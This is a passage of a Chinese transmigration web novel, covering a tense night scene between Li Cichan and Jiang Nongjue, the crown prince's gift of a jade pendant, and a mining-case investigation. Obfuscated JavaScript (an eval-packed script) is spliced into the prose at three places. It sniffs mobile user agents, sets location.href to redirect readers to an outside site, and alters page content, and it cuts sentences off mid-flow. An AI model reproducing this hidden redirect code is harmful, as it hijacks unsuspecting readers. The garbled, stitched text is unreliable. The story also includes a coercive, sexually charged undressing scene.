李辞禅闻言,非但没停,反而俯身更近,几乎与他鼻尖相抵。昏暗中,他扯唇角,露出一点锋利的犬齿,在微弱的光线下闪着寒光,如同盯紧猎物的猛兽。 “怕什么?”他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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那双因为酒意、惊怒和此刻的处境而显得格外湿润朦胧的眼睛,正愤愤地瞪着他。 就是这双他梦里见了无数次的眼睛…… 李辞禅只觉得一股更凶猛的热流直冲下腹,几乎要焚毁残存的理智。 他猛地闭了闭眼,深吸一口气,再睁开时,眼底翻腾的欲色被强行压下几分。 江弄玦察觉到他的停顿,故意从鼻子里哼出一声,声音还带着未平的喘息与沙哑:“继续啊。怎么不继续了?” 他竭力想让自己的语气听起来硬气而冷酷,然而听在李辞禅耳中,却更像是一只被逼到角落、炸着毛却又无力反抗的猫,伸出软绵绵的爪子虚张声势。 李辞禅低低闷笑一声,却没有继续了。但那只手沿着江弄玦裸露的胸膛肌理,带着薄茧的指腹缓慢而暧昧地滑动,感受着掌心下细腻皮肤瞬间绷紧和无法抑制的细微战栗。 “瞧你怕的。”他声音喑哑,“在你心里,我李辞禅到底算什么人?” 江弄玦紧咬牙关,偏过头去,只是用一声更重的冷哼作为回答,耳根却红得几乎滴血。 “呵……” 李辞禅似乎并不在意他的沉默,指尖拨开最后一点碍事的衣料,让江弄玦整个上身几乎都暴露在从窗棂缝隙漏进的月光下。 莹白的皮肤仿佛泛着微光,与凌乱的衣衫和床上深色的织物形成鲜明对比,冲击着视觉。 他的语气变得有些古怪,像是自嘲,又像是某种辩解:“江弄玦,我是对你表过白,被你拒了。但我还不至于下作到真对你用强。” “你已经在强了!”江弄玦猛地转回头,哑着嗓子低吼,“神经病!你他妈有本事今天就真做了!c完我,我转头就去告诉你哥,让他揍死你个傻缺玩意儿!” 终于,那层自表白后就横亘在两人之间,那被刻意回避的窗户纸彻底破了。 江弄玦仿佛解除了某种封印,羞愤、委屈、长久以来的压力混杂着酒意,让他口不择言地开喷了。 李辞禅闻言,眨了眨眼睛,唇角勾起一个诡异得近乎温柔的弧度:“听上去……也不错。” 江弄玦:“……” 别别别,我瞎说的! 李辞禅俯身下来,滚烫的唇几乎贴上江弄玦的耳廓,灼热的气息伴随着低语,不容拒绝地钻入他耳中:“阿玦,在西北的每一天,我都在想……想你当年回绝我的理由。” “分不清友情和爱情?一时冲动?” “至今想起来,我都觉得可笑至极。” “我李辞禅,会是那种连自己感情都分不清的糊涂蛋吗?” 江弄玦屏住呼吸,感觉那热气快要把自己耳朵烧着了。他无法反驳,也不敢去看李辞禅此刻的眼神,干脆自暴自弃地紧紧闭上了眼睛,仿佛这样就能隔绝一切。 李辞禅看着他紧闭双眼、睫毛颤抖的模样,不禁低笑出声。 “我看,有些分不清、不敢看清的人……才不是我。” “你也别想着再躲我。”他撑起上身,拉开些许距离,但目光依旧缠绕着江弄玦,“你知道我是什么性子。我想要的,就一定会想方设法、不计代价地去得到。” “我不认为,我会没有机会。” 他的声音每个字都清晰有力,砸在江弄玦心上: “并且,我相信,终有一天——” “我能让你,心甘情愿地喜欢我。” 江弄玦:“……” 他依旧紧闭着眼,内心已经是世界名画《呐喊》了。 一!点!都!没!变! 这个小祖宗,根本就是疯得更厉害了!! 20.本王总觉得屁股一凉 江弄玦深吸一口气,强迫自己冷静下来:“你究竟要怎样,才肯放我走?” 李辞禅笑得无辜,仿佛刚才步步紧逼的不是他:“我一开始就说了啊。” 他的手掌依旧停留在江弄玦腰侧,掌心传来的温热透过薄薄的皮肤,让江弄玦难以忽视。 “让我看看你身上有没有没养好的伤。” 他顿了顿,语气带上了一丝恶劣的愉悦。 “当然,如果你硬要挣扎的话……我就当做是给我的奖励了。” 江弄玦咬牙:“……你不装了是吧?” 李辞禅挑眉,故作疑惑:“装?装什么?我只是关心你的伤势。” 那双眼睛里却明明白白写着“你知道我在说什么”。 江弄玦:“……” 他妈的,服了。 他试图转移自己的注意力,目光飘向头顶的床帐:“你刚才说……不想走了。是因为这次轮值之后,还得立刻回西北?” “嗯。” 李辞禅低低应了一声,手上的动作似乎轻柔了些,指尖若有似无地划过一处旧疤。 他抬起头,眯起眼睛,目光如鹰隼般锁住江弄玦:“怎么?想让我走?” 江弄玦摇了摇头,动作有些僵硬。 “只是……”他犹豫了,接下来的话在舌尖打转,不知道该不该说真心话。 “说。”李辞禅的声音沉了下来,“我看得出来你说没说谎。” 江弄玦气笑了:“你还能是我肚子里的蛔虫?” “嗯。”李辞禅竟然也笑了,那笑容里带着一种近乎笃定的自信,“我了解你,就像你了解我一样。有些事,你骗不了我。” 江弄玦心脏猛地漏跳了一拍。 他狼狈地撇开眼眸,重新望向虚空,仿佛那里有答案。 “实话就是……不想你走。” 李辞禅手上的动作倏然停住。 黑暗中,江弄玦能感觉到那束落在自己脸上的目光,瞬间变得无比明亮,带着一种几乎要满溢出来的、小心翼翼的期待与狂喜。 江弄玦猛地抬起胳膊,用手臂遮住了自己的眼睛,仿佛这样就能隔绝对方的视线,也能藏起自己脸上不受控制的滚烫。 “虽然……我对你,不是那种‘喜欢’。”他声音闷闷地从手臂下传来,每个字都说得艰难,“但你对我来说,是很重要的……” 他想起李辞禅极其反感“朋友”这个词,喉结滚动了一下,换了个词。 “……很重要的人。纵使你武艺高强,罕逢敌手,但战场上的事,刀剑无眼,谁又说得准?” “李辞禅注定会成为开疆拓土、名垂青史的大将军。这一点,我比谁都确信。” 因为这早已写入了游戏的剧情。 “可你也是孤身远在西北的游子,是未来要长久驻守边疆的守护者,是我……可能再见不了几面的……” 是啊,这也是无法更改的剧情,却是眼前冒着热气的李辞禅、一个活生生的人。 他的声音越来越低,尾音带上了一丝几不可察的颤意。蜷缩在身侧的手指无意识地收紧—— “原谅我吧,李辞禅,我就是想说——” 他几乎是用尽力气,吐出了那个在心里盘旋许久、却始终不敢在他面前宣之于口的词: “挚友。” 话音未落。 身侧的床褥深深陷下。 黑暗中,江弄玦只感觉一片温热柔软、带着淡淡酒气和凛冽气息的触感,极其快速地、却又无比清晰地,印在了他的唇上。 一触即分。 快得如同错觉。 紧接着,是一个比之前任何一次都要用力、都要□□的拥抱。 李辞禅的手臂死死箍住他,像是要把他嵌进自己怀里,炙热的体温和狂乱的心跳透过薄薄的衣料,毫无保留地传递过来。 江弄玦猛地挪开遮眼的手臂,瞳孔在昏暗中微微放大,呆呆地与近在咫尺的李辞禅对视。 窗外偶有雪光或远处的灯火映入,星星点点的微光闪烁在那双深邃的眸子里,宛若盛着一条波光粼粼的静谧天河,明亮得惊人。 他听见李辞禅的声音,低哑而清晰,带着某种尘埃落定般的释然,响在耳畔: “好。原谅你。” “前提是——” “你这辈子,只能有我一个‘挚友’。” 江弄玦张了张嘴,没能发出任何声音。 但他胸腔里那颗失控狂跳的心脏,已经在寂静的冬夜里,发出了最诚实的回应—— 砰!砰!砰!砰! 江弄玦,醒醒! 醒醒! 不就是被个小朋友亲了一下吗!还是个男的!你他妈在害羞个什么劲儿!心跳个屁啊! 不对! 这是老子在这个世界的初吻啊啊啊!! 然而,理智的咆哮完全无法平息身体的诚实反应。 那晚,李辞禅最终确实没有做出更逾越的举动。但他让江弄玦这个自认笔直的穿越者,体会到了什么叫“永生难忘”。 李辞禅当真把他剥得只剩底裤,借着检查伤势的名头,将人翻来覆去,从肩背到腰腹到腿侧,每一处旧伤新痕都细细看过。 一边看,一边念念叨叨,说这里多了道疤,那里颜色还没褪尽,又不知从哪里摸出一盒显然是早就备好的的伤药,指着里面不同的药膏,认真地教他哪种化瘀,哪种生肌,哪种祛疤最有效。 每当江弄玦听得不耐烦,眼神飘忽,或者身体僵硬地想往后缩时,李辞禅就会立刻察觉。 然后他脸上那点的温和瞬间消失,眼一沉手一伸,不由分说地将人按回原处,甚至故意在某些敏感的地方多“检查”几下,直到江弄玦面红耳赤、再不敢乱动为止。 那绝对是为了私心! 百分之百! 直到深夜,李辞禅才终于“检查”完毕,亲手给他穿好衣服,又亲自将他送回李府客院,盯着他进了房门。 躺在客院陌生的床榻上,江弄玦脑子里依旧乱哄哄的,只有一个念头反复盘旋: 都怪自己心太软! 都怪自己还是个要脸的体面人! 以至于李辞禅后来放软了姿态,他就根本狠不下心去拒绝。 那漫长的一夜,他仿佛又回到了多年前那个被表白的混乱夜晚,满脑子只剩下对老天爷无力的质问—— 这乙游的男主怎么回事啊?!说好的忠犬将军呢?! 这个将军他怎么就弯了啊?! 还弯在了一个原剧情里根本不存在的“路人甲”身上!这合理吗?!这剧情到底是怎么崩的啊?! 他到底喜欢我什么啊?!我改还不行吗?! 就这样翻来覆去,江弄玦瞪着帐顶,硬生生熬到了窗纸泛白。 除夕,朝廷重臣、王亲贵族按例皆需入宫赴宴。 江弄玦回了王府,草草收拾了一番,带着参宴的礼服便提前入了宫。 呵呵,毕竟还得给东宫打工。 路上偏偏遇见了也要去兵部述职的李辞禅。 江弄玦下意识想绕开,却被对方长臂一伸,按在了宫墙拐角的僻静处。 李辞禅神清气爽,眼底带着餍足又戏谑的光,将他从头到脚打量一遍,又凑近了压低声音‘关切’了一番。 “脸色这么差?昨晚没休息好?看来府里那客房,不如我屋里暖和舒服。” 气得江弄玦牙痒痒,又不敢在宫里跟他拉扯,受了一肚子闷气。 跑去东宫处理完一堆年节前最后的紧要公务,再转到江醉玉日常起居的殿宇时,已是申时末。 江醉玉正倚在窗边软榻上批阅奏章,闻声抬眸,目光在江弄玦脸上停留了不到一息,便淡淡开口:“你昨晚没睡。” 并非疑问,而是断定。 江弄玦知道瞒不过他,干脆半真半假地坦白:“是。昨日受李大人所邀,去李国公府小聚,多饮了几杯,歇得晚了些。” “不对。” 江醉玉将朱笔搁下,身体微微后靠,那双总是沉静无波的眼眸扫过江弄玦眼下淡淡的青黑,和那丝极力掩饰却仍透出的细微疲惫与恍惚。 “是因为李辞禅吧。” 江弄玦心脏猛地一缩,险些以为昨夜种种不堪的细节已被眼前这位手眼通天的太子殿下尽数掌握。 但他随即强行镇定下来——东宫的眼线在李国公府内必然存在,但李持衡治家严谨,且李辞禅本身警觉性极高,昨夜他们又在相对私密的院落房间…… 那些过于私密的纠缠,绝不可能被完整窥探。 江醉玉见他脸色微变,并未追问细节,只是左手拇指无意识地摩挲着那枚常戴的玉扳指。 随即他微微一松,向后一退,那枚温润的扳指便悄然滑落,滚入他虚握的掌心。 “兵部今晨收到急报,李辞禅所部先锋已抵京郊,大军午后方至。” 他垂眸,看着掌中扳指,声音平缓,却透出一股无形的压力。 “他倒是赶得急,抛下军队,日夜兼程,独自先回来了。” 他微微一顿,抬眼看向江弄玦,意有所指:“如此急切……所为何事,倒也不难猜想。” 江弄玦:“……” 我要怎么解释?!我们之间是清白的啊! 啊不,就算不清白,那也是他单方面想对我不轨啊!表兄你信我!! “确实,昨夜……见了他一面。” 江弄玦硬着头皮,采用蒙太奇式叙述法,只陈述事实,隐去所有暧昧细节。 “被他拉着说了许久话,直至深夜才得以歇下。” 他知道在江醉玉面前编织完整的谎言是徒劳且危险的。 “至于为何急着回来……许是离家日久,思家心切?又或是军务在身,不得不早归?” 他试图将话题引向安全的方向。 “呵……” 江醉玉极轻地笑了一声,那笑声里没有丝毫温度,却让江弄玦脊背莫名一凉。 哥,能别这么笑吗?怪瘆人的。 江醉玉没再说话,只是慢慢收拢五指,如同收网的蜘蛛般,将那枚玉扳指紧紧拢入在手心。 他的目光沉沉落下,最终,落在了江弄玦腰间——那枚他亲手所赠的龙纹墨玉佩,正安静地悬在那里。 视线触及那抹温润的墨色,江醉玉紧绷的下颌线条似乎缓和了一分,眼底凝聚的冷意也悄然消散了些许。 就在江弄玦提心吊胆,以为还要面临更严厉的盘问时,江醉玉却忽然移开了目光,不再纠结于此。 “坐。”他指了指身侧的软榻。 江弄玦如蒙大赦,依言坐下,心神还未完全定下,便见江醉玉抬手示意。一名内侍悄无声息地捧上一个巴掌大小、紫檀木雕云龙纹的精致长盒,置于江弄玦面前的小几上。 “打开看看。”江醉玉语气恢复了一贯的平淡。 江弄玦不明所以,依言揭开盒盖。 盒内铺着深蓝色丝绒,其上静静躺着一枚通体无暇、莹润如脂的圆形白玉佩。玉质是顶级的羊脂白,光华内蕴。 玉佩正面,以极为高超的镂雕技法,刻画着一株并蒂而生的连理枝,枝头栖着一只回首梳翎的青鸾神鸟,鸟喙中衔着一枚小小的灵芝。 只是……理枝纹? 他看向江醉玉,眼中满是不解。 这通常是用于祝福夫妻恩爱、婚姻美满的纹样。将它赠予自己,这未免太过奇怪。 江醉玉迎上他的目光,只唇角牵起一丝近乎矜贵的弧度,仿佛送出此物是再理所应当不过的事。 “表兄,这……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533961|203193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 江弄玦喉头发干,目光再次落在那精妙绝伦的连理枝纹上,斟酌着用词。 “弄玦何德何能,受此重礼?” 江醉玉却没有直接回答他是否该收。 他的目光落在江弄玦脸上,又缓缓移向那枚白玉佩。 “弄玦,孤要成亲了。” “此玉佩,乃内府珍藏。连理枝,取‘同气连枝,荣损与共’之意。” “青鸾,祥瑞之鸟,亦喻品性高洁,不落凡尘。灵芝,祈康健永安。” 他顿了顿,指尖无意识地抚过自己拇指上那枚已然取下的玉扳指的位置,目光深远。 “孤成亲之后,便是真正意义上的成家。东宫是‘家’,这天下,亦是孤之重任。你与孤,自幼相伴,名为君臣,实则更似手足至亲。” 他的话语挑不出一丝错处,甚至充满了储君对肱骨之臣的倚重与亲情。 “新年,孤将此佩赠你,是望你亦能早日觅得良缘,成家立室,如此,方是圆满。” 这话听起来像是兄长真诚的祝福与期许。 “见此佩,如见孤。它亦是一份凭证。日后若遇急难,或有不长眼之人冒犯,出示此佩,可直入东宫禀报,亦可让某些人知难而退。” “你素来不重这些身外之物,但既在京中,既在孤身边,有些规制与象征,不可或缺。这枚佩,于你,是护身符,亦是孤的一份心意。” 江醉玉静静地注视着江弄玦,等待他的反应。 他那番话语情真意切,理由充分——祝福手足、期许成家、赐下护身信物。 每一层都合情合理,无可指摘。 虽然初看玉佩纹样时,因“连理枝”的联想吓了一跳,但听完江醉玉一番从容坦荡的解释,江弄玦心下那点疑虑和不安倒也消散了大半,甚至生出几分自省的惭愧。 这下,是自己格局小了。 这是真把他当做最信任的自己人,在成家立业的重要关口,与他推心置腹,赠下如此贵重的信物以示亲近与期许。 而自己呢?竟下意识用防备李辞禅的那套心思,去揣摩人家,实在是以小人之心度君子之腹,太过分了。 想到这里,江弄玦神色不由动容,心中暖意流淌。 他伸手,小心翼翼地摩挲了一下那枚静静躺在丝绒上的玉佩。触手温润细腻,油脂感十足,比他想象的还要好,不愧是宫廷珍藏的极品。 他抬起头,看向江醉玉,脸上绽开一个明朗而感激的笑容。 “多谢表兄厚爱。这玉佩……弄玦十分喜欢,定会好好珍惜,不负表兄期许。” 江醉玉见他神色由惊疑转为感动,笑容真切,眼中也似漾开一丝温和的涟漪,周身那股无形的压力悄然散去,语气也轻松了些许。 “你喜欢便好。这便是孤给你的新年贺礼了。” 他说着,将一直虚握在左手的玉扳指轻轻搁在案几上,发出极轻微的一声脆响。随即起身,走向江弄玦,顺手拿起了那枚玉佩。 江弄玦见他径直走到自己面前,下意识就要站起来:“表兄?” “坐着便好。”江醉玉的声音从头顶传来,温和却不容置疑,“孤给你戴上。” 话音未落,他已微微俯身,高大的身影带着淡淡的龙涎香气笼罩下来。 距离瞬间拉近,江弄玦甚至能看清他垂下眼帘时,纤长睫毛在眼下投出的一小片阴影。 “别动。” 江醉玉低声叮嘱,指尖已触到江弄玦颈侧的皮肤,带着微凉的玉感和属于他自己的体温。 江弄玦浑身一僵,下意识屏住了呼吸,整个人仿佛被定住。直到感觉那修长的手指灵巧地绕过他颈后,系着佩绳,他才找回一点神智,改为小心翼翼的小口呼吸。 殿内寂静无声,唯有系绳摩擦衣料的窸窣微响,以及彼此几乎可闻的呼吸声。 江醉玉的动作慢而稳,仿佛在完成一件极其重要的事情。他的指尖偶尔擦过江弄玦后颈的皮肤,带来一阵细微的战栗。 终于,佩绳系好。那枚雕着连理枝与青鸾的白玉佩,妥帖地坠在了江弄玦胸前。 江醉玉并未立刻退开。他保持着俯身的姿势,指尖极其轻柔地拂过那枚崭新的“青鸾衔芝”佩,将它摆正,让那精妙的连理枝纹样清晰可见。 “好了。”他这才直起身,仿佛刚才那片刻的近距离接触与凝视再寻常不过。 江弄玦却仍有些怔忡,抬手摸了摸胸前微凉的玉佩,那温润的触感无比真实。 他抬眼看向江醉玉,对方已神色如常地坐回榻上,重新执起了朱笔,仿佛刚才的一切只是兄长对弟弟一次再普通不过的赠礼与关爱。 这些年,江弄玦并非毫无所觉。 在心思深沉、步步为营的太子江醉玉心中,自己有了一些特别的意义,除却“棋子”以外的意义。 他为此感到过一丝暖意,却也时刻警醒着自己:不能沉溺于这份“特别”。 帝王的“特别”,并不是好事。背后藏着的是“揣摩”与“掌控”。 但他也是人。 尽管江醉玉对他要求严苛,掌控欲强到近乎令人窒息,东宫耳目无处不在,但平心而论,这位太子表兄待他……确实好得不正常。 江弄玦嘴上虽有抱怨,内心深处,却早已在日复一日的相处与庇护中,下意识地将那个高高在上的储君,当成了可以依赖、可以倾诉、甚至可以偶尔撒娇耍赖的 “真表兄” 。 现在江醉玉的态度,大抵是“情”大于“智”。 至少在这一刻,赠予玉佩、亲手佩戴的温情尚未散去,那份超越君臣的纵容似乎触手可及。 江弄玦眼睛倏然一亮。 机会! 也许现在,就是试探他态度最好的时机! 试探自己未来……离开的可能! 21.本王找到了最后一个男主 这个念头如同野火般燃起,瞬间压倒了脑中那疯狂示警的第六感。 他不求完全探明江醉玉的所有想法。 但在明知对方对自己有着特殊“待遇”的此刻,江弄玦宁愿冒一次险,也想确认那条通往“自由”的缝隙,是否存在一丝微光。 他深吸一口气,仿佛下定了某种决心,违背了所有趋利避害的本能,迎着江醉玉尚带着纵容余温的目光,开口道: “表兄,弄玦……还有一个愿望,或许有些遥远,但未来,也许需要表兄相助。” 江醉玉执笔的手微微一顿,抬眸看来,眼中闪过一丝意外和纵容:“讲。” “虽然现在说这些,为时尚早……” 江弄玦不自觉地握紧了胸前的玉佩,温润的玉石此刻却让他掌心微微渗出冷汗。 “但弄玦想……有朝一日,能离开京城。” 殿内的空气似乎凝滞了一瞬。 江醉玉没有打断,只是目光沉静地看着他,示意他继续。 江弄玦迎着他的目光,声音努力保持平稳笃定,将埋藏心底多年的愿景和盘托出。 “并不是去征战四方,建功立业。可能只是带着这些年的积蓄,一个人,或带上几个可靠的随从,去看看大雍的山河,甚至周游列国。” “之前表兄说,要替弄玦留意、挑选适龄女子成亲,” 他顿了顿,语气更加坚决。 “但弄玦……并无成亲的意愿。” “也许表兄会觉得此言大逆不道,违背祖宗礼法……但弄玦,也没有延续子嗣的打算。” 一番话说完,江弄玦感觉后背已被冷汗浸湿。 他望着江醉玉,最后道:“弄玦离经叛道,并非一日两日。这些都是弄玦肺腑之言,真实所想。” 他停顿片刻,声音里带着一丝不易察觉的颤抖与期盼。 “表兄,如果可以的话……未来,你会帮我么?” 江醉玉沉默了。 他没有立刻回答,而是缓缓放下了手中的朱笔。然后没有看江弄玦,目光落在了自己空无一物的拇指上。 ——那里,原本戴着一枚玉扳指。 属于储君的玉扳指。 此刻,那枚扳指就静静地躺在他手边的小几上,在昏暗的光线下泛着冷硬的光泽。 在沉默的等待中,江弄玦的手被汗浸湿,目光一错不错地盯着垂眸沉吟的江醉玉。 终于,江醉玉动了。 他没有去碰那枚扳指,只是指尖几不可察地蜷缩了一下。 他缓缓掀起眼帘,目光重新落在江弄玦脸上。 奇异的是,那深潭般的眼底并无怒意,唇边甚至又带上了些许安抚般的浅淡笑意。 “若你……多年以后,届时仍然那么想的话。” 江弄玦眼睛骤然一亮,巨大的惊喜如同烟花般在胸膛炸开,脸上瞬间迸发出的雀跃根本藏不住,几乎要冲破他竭力维持的镇定。 有机会!没有一口回绝!他松口了! 然而,那笑意尚未完全绽开,便听江醉玉的下一句,不紧不慢地接上: “只是,弄玦——” “起码,在我,真正坐稳那个位置之前,我会一直需要你。” “我”。 当这个字清晰而自然地从江醉玉口中吐出,代替了惯用的“孤”,传入江弄玦耳中时,他脸上那抹猝不及防的惊喜如同被瞬间冻结,转为一种愕然与惶恐。 太子在一个臣子面前,不用“孤”自称,意味着什么? 意味着他此刻所言的,并非君王对臣子的敷衍或权术,而是最真实的心声。 江醉玉所说的“需要”,是真的。 他此刻展露的信赖,也是真的。 甚至,他承诺的“未来可能”,或许……也有一线真实。 巨大的冲击与复杂的情绪让江弄玦喉头发紧,他张了张嘴,最终只能压下所有翻腾的思绪,郑重而感激道: “弄玦明白。为表兄……赴汤蹈火,在所不辞。” 江醉玉闻言,眼中那层冰封的平静似乎融化了些许,他伸出手,带着一种亲昵,轻轻揉了揉江弄玦的发顶。 “嗯。” 他又补充道:“方才的话,万不可让第三人知道。” “知道了,表兄。”江弄玦颔首,摸了摸鼻子。江弄玦也自知这话传出去会惹出大乱子。” 又过了一会,江弄玦告退了。他离开后不久,殿内恢复了绝对的寂静。一名内侍悄步而入,垂首禀报: “殿下,皇后娘娘遣人来吩咐,请您移步,共进午膳。” 此刻的江醉玉,面上再无丝毫面对江弄玦时的温和或波动。 江醉玉没有立刻回应,只是伸出手,将小几上那枚冷硬的玉扳指慢慢攥入手心,用力收紧。 冰凉的玉石硌着掌心,带来清晰的痛感。 他维持着这个姿势,沉默了数息。内侍屏息凝神,不敢催促。 终于,江醉玉松开手,声音平淡无波。 “知晓了。下去吧。” “是。”内侍如蒙大赦,躬身退出,轻轻带上了殿门。 厚重的殿门合拢的瞬间—— “吭——!!!” 一声沉闷而骇人的巨响猛然爆发! 那枚方才被紧紧攥在手心的玉扳指,被一股巨大的力量狠狠掼在了小几上! 坚硬的玉石与木质撞击,发出令人牙酸的声响,震得几上堆积的奏章哗啦啦散落一地。 江醉玉依旧面无表情地坐在那里,仿佛刚才那失控一击并非出自他手。 但那双总是沉静幽深的眸子里,此刻翻涌着近乎暴戾的冰冷,死死盯着落到地上滚动的扳指和散乱的奏章。 他唇瓣微微翕动,吐出几个极轻、却带着刻骨寒意与不解的字眼,在空旷死寂的殿内反复回响。 “为什么……” “为什么……总是想着离开?” 走在宫门外的江弄玦则在出去后不久就遇上了林知尘。 一见江弄玦,林知尘便露出一副八卦神色。 他笑嘻嘻地凑过来:“大忙人,最近真是抓不着你啊~” 江弄玦默默白眼:“又来。要杀要剐直接说吧!” 两人朝着办事处漫步着,林知尘语气悠闲。 “啧啧,看你这脾气,想道是李辞禅昨夜便跑去见你了吧?方才来东宫路上撞见他,那一看就是他开心的样子。” “再看看你,啧啧……”他指了指江弄玦的脸,“明晃晃的睡眠不足!” 江弄玦:“……啧。” 又是李辞禅又是江醉玉,再加一个林知尘,一个两个的,就揪着他嚯嚯。 “昨夜我去李府喝酒,碰上他回来。拉着我好一通说叨。” “咦~”林知尘怪里怪气地鬼叫一声,“好巧哦。” 江弄玦:“真的是巧合啊喂!” “哎呀,看在前几天你替阿颜做事的份上就不闹你了。” 林知尘收回玩笑的表情,面色柔和起来。 “虽然知道你是不拘一格的人,但没想到你会直接为她动笔写折子。说来惭愧,我身为兄长,有时反倒顾虑太多,怕弄巧成拙。” 几日前,应下林倾颜所求后,江弄玦便将此事纳入了自己的“待办清单”。 他将这视为一条值得长期经营的支线任务。不仅因为林倾颜的志向难得,更因她逐步撬动旧制的思路,确有可行之处。 从女子学堂、朝廷末枝等入手,自下往上地去变革的同时,再由他这股在上的力量在背后调整最为合适。 于是,他先草拟了几份条理清晰的陈情折子,通过可信的渠道递往几位风评开明的翰林学士处。 同时,又吩咐自己手下几名靠谱的管事,暗中往林倾颜常去的几家善堂增派了些得力人手,帮忙打点筹建蒙学堂的杂务。 “嗐,”江弄玦摆摆手,“我只是个跑腿递话的。能拿出具体章程和长远眼光的倾颜姐,才是真厉害。” 他顿了顿,目光掠过宫墙,望向远处那片被檐角切割的湛蓝天空,语气缓了下来:“能帮一点是一点吧。” “这世道,身为女子,已诸多有不易,有志向的更如暗夜行烛。既然看见了光,总该试着添一阵长火风,护一护火苗。” 林知尘闻言,抬手在他肩上不轻不重地拍了一记。 “这话说得透彻。阿颜若听见,定会把你夸得找不着北了。” 次日便是新年。一过年,江弄玦和林知尘过了几天没有“作业”追在屁股后面跑的生活,感觉社畜的疲惫又被治愈了。 但年节里那点稀薄的闲适气息,如同掌心呵出的白雾,转眼便散了。 刚过初七,各衙门开印,江弄玦案头的卷宗与待办事项便又如积雪般垒了起来,将他重新拖回了忙碌的漩涡。 北疆新递来的消息,如同一盆冷水,浇在了他的头上。 按照“矿藏”这条线追查下去,回报却是意料之中的“无果”。 北疆现今紧要的战略矿产,皆在官府的严密掌控之下,名目清晰,账册可查,并无任何值得为之一族尽灭的隐秘存在。 至于“鹰愁涧”附近,已探明不过是些常见的盐、铜、铁,储量与品相,远不足以成为一场血腥屠杀的动机。当年那些披着斗篷、行迹可疑的身影为何出现在那里,依旧迷雾重重。 是夜,烛火摇曳。江弄玦将誊抄的北疆回报推至桌案对面,与隼九交换了一个凝重眼神。 线索又断了。 “我们二人暂时被困住了,” 江弄玦沉吟道:“可否……去请教一下令兄?他是涧中林首领,见识广博,或许能提供一个我们未曾想到的探查角度。” 次日,夜色再临时,夏拾欢带来了回音。 他只说了四个字,言简意赅。 “矿藏普查。” 江弄玦先是一怔,随即眼中迸发出恍然大悟,连日来的沉郁被一扫而空。 “妙啊!”他忍不住轻拍桌案。 “若是神鹰部守护或知晓的,是某种在当时尚未被官府记录在册、或是记录有误的新矿、富矿,而负责那次普查的官吏或相关之人,刻意隐瞒、篡改了结果……” 那么,一切就都说得通了! 灭口是为了掩盖普查中的舞弊,后续的斗篷身影,或许是为了确认、转移,甚至是在新的时机下秘密开采! “令兄当真了得。”江弄玦由衷赞叹,感觉视野豁然开朗。 夏拾欢安静地坐在他对面,闻言只是微微颔首,又伸手从桌上碟子里拈了块桂花糕,小口吃着,腮帮子微微鼓起,冲淡了周身那丝若有若无的冷冽气息。 江弄玦神经一松,看着眼前的隼九,促狭之心又起。 “我说师父啊,”他身体前倾,支着下巴,眼里带着笑意,“我这跑前跑后,又是查卷宗又是动关系的,眼看就要帮你把家仇旧案翻出关键了。” “事成之后,有没有什么额外奖励给我?” 夏拾欢咀嚼的动作顿了顿,咽下点心,才慢慢开口:“当初约定,我护你安全,你助我查案。你确已付出良多,超出约定。” 他似乎很认真地思考了一下:“只要不过分,我可以答应你一个要求。” 江弄玦被他这郑重的态度弄得反而有些不好意思,摸了摸鼻尖。 “能拜你这么一位顶尖高手为师,学本事保性命,其实我已经赚大了。” 他摸着下巴,作势深思:“这可得好好想想,要个什么才好呢?嘶,一时还真没主意……” 他想了片刻,最终还是摆摆手:“算了,先欠着吧,反正来日方长,总有麻烦你的时候。来,再尝尝这个,京城第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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只有清晰的约定、并肩的调查,和此刻这般……安静共处、分享点心、唠些闲篇的寻常。 抛开师徒的名分,抛开合作的契约,甚至抛开那些潜藏在调查之下的危险与秘密…… “隼九,”他轻声问,多了点自己都未察觉的认真,“我们这样……” “算朋友吗?” 隼九没有立刻回答。 他吃完最后一点糕饼,用指尖捻去碎屑,然后抬起眼。 过了几息,他才开口。 “养父说,杀手不该有朋友。” 他顿了顿,似乎在斟酌字句。 “但哥哥说,人活着,总得有个能一起吃点心、说些废话的人。” 他歪了歪头,面具在烛光下折射出一点微光。 “我不太懂‘朋友’具体该怎么算。不过……” 他的目光重新聚焦在江弄玦身上,那双清澈的琥珀色眼睛里映着跳动的烛火,也映着江弄玦有些怔然的影子。 “你给的烧鸡很好吃。点心也很好。” “跟你一起查案,不觉得麻烦。” “如果这些算是‘朋友’……那大概,算吧。” 他的语气依旧没什么起伏,但话里的内容,却让江弄玦心头微微一暖,又有点说不出的酸涩。 “我去……”江弄玦咧嘴一笑,“你的语文水平飙升了。” “谢谢。” “我应该是你手里第一个活下来的任务目标吧?” 他点头:“嗯。” “就凭这特殊的一点,再加上咱们这日日夜夜的夜宵时光,咱也该算朋友了。” 隼九沉吟片刻,似乎被说服了,也缓缓点了个头。 “那,朋友,”江弄玦往前凑了凑,眼里闪着好奇,“除了‘隼九’,你还有别的名字吗?” “总觉得,叫代号少了点……嗯,人味儿。我想知道朋友真正的名字。” 话音刚落,江弄玦便敏锐地察觉到对面的人身体几不可察地僵了一瞬。 隼九沉默着,那双总是清澈坦荡的琥珀眼,竟罕见地飘忽了一下,甚至避开了江弄玦的直视。 “其实……我……” 江弄玦:?这个反应是…… 